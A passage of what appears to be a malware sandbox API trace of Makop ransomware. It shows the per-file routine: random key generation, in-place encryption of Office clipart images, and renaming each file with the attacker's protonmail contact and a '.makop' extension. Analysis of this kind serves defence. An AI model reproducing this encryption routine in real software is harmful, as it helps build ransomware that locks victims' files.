dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.579] GetProcessHeap () returned 0x48a0000 [0147.579] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.579] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.580] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.580] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0147.584] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.584] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.584] GetProcessHeap () returned 0x48a0000 [0147.584] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.584] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.585] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.585] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.585] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.585] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.585] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.585] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.585] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.586] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.586] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.586] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.586] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa343, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa343, lpOverlapped=0x0) returned 1 [0147.588] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa350, dwBufLen=0xa350 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa350) returned 1 [0147.588] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.588] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa350, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa350, lpOverlapped=0x0) returned 1 [0147.589] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.589] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.589] SetEndOfFile (hFile=0xf0) returned 1 [0147.596] GetProcessHeap () returned 0x48a0000 [0147.597] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.597] GetProcessHeap () returned 0x48a0000 [0147.597] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.597] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.598] CloseHandle (hObject=0xf0) returned 1 [0147.598] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa445, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03224I.JPG", cAlternateFileName="")) returned 1 [0147.599] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 63 [0147.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.600] GetProcessHeap () returned 0x48a0000 [0147.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.600] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.600] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.600] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0147.604] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.605] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.605] GetProcessHeap () returned 0x48a0000 [0147.605] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.605] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.605] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.605] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.606] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.606] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.606] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.606] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa445, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa445, lpOverlapped=0x0) returned 1 [0147.608] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa450, dwBufLen=0xa450 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa450) returned 1 [0147.609] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.609] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa450, lpOverlapped=0x0) returned 1 [0147.609] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.610] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.610] SetEndOfFile (hFile=0xf0) returned 1 [0147.617] GetProcessHeap () returned 0x48a0000 [0147.617] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.617] GetProcessHeap () returned 0x48a0000 [0147.617] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.617] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.619] CloseHandle (hObject=0xf0) returned 1 [0147.619] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1 [0147.619] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG") returned 63 [0147.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.645] GetProcessHeap () returned 0x48a0000 [0147.645] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.645] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.645] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.646] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0147.650] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.650] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.650] GetProcessHeap () returned 0x48a0000 [0147.650] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.651] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.651] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.651] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.651] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.652] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.652] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.652] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.652] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.652] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ba2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2ba2, lpOverlapped=0x0) returned 1 [0147.654] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2bb0, dwBufLen=0x2bb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2bb0) returned 1 [0147.654] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.655] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2bb0, lpOverlapped=0x0) returned 1 [0147.655] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.655] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.655] SetEndOfFile (hFile=0xf0) returned 1 [0147.662] GetProcessHeap () returned 0x48a0000 [0147.662] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.662] GetProcessHeap () returned 0x48a0000 [0147.662] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.662] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.664] CloseHandle (hObject=0xf0) returned 1 [0147.664] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x321f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03380I.JPG", cAlternateFileName="")) returned 1 [0147.664] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 63 [0147.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.666] GetProcessHeap () returned 0x48a0000 [0147.666] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.666] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0147.671] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.671] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.671] GetProcessHeap () returned 0x48a0000 [0147.671] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.671] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.671] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.671] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.671] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.672] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.672] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.672] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.672] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.672] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.673] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.673] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x321f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x321f, lpOverlapped=0x0) returned 1 [0147.674] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3220, dwBufLen=0x3220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3220) returned 1 [0147.674] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.675] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3220, lpOverlapped=0x0) returned 1 [0147.675] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.675] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x32f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.675] SetEndOfFile (hFile=0xf0) returned 1 [0147.682] GetProcessHeap () returned 0x48a0000 [0147.682] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.682] GetProcessHeap () returned 0x48a0000 [0147.682] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.682] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.684] CloseHandle (hObject=0xf0) returned 1 [0147.684] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, 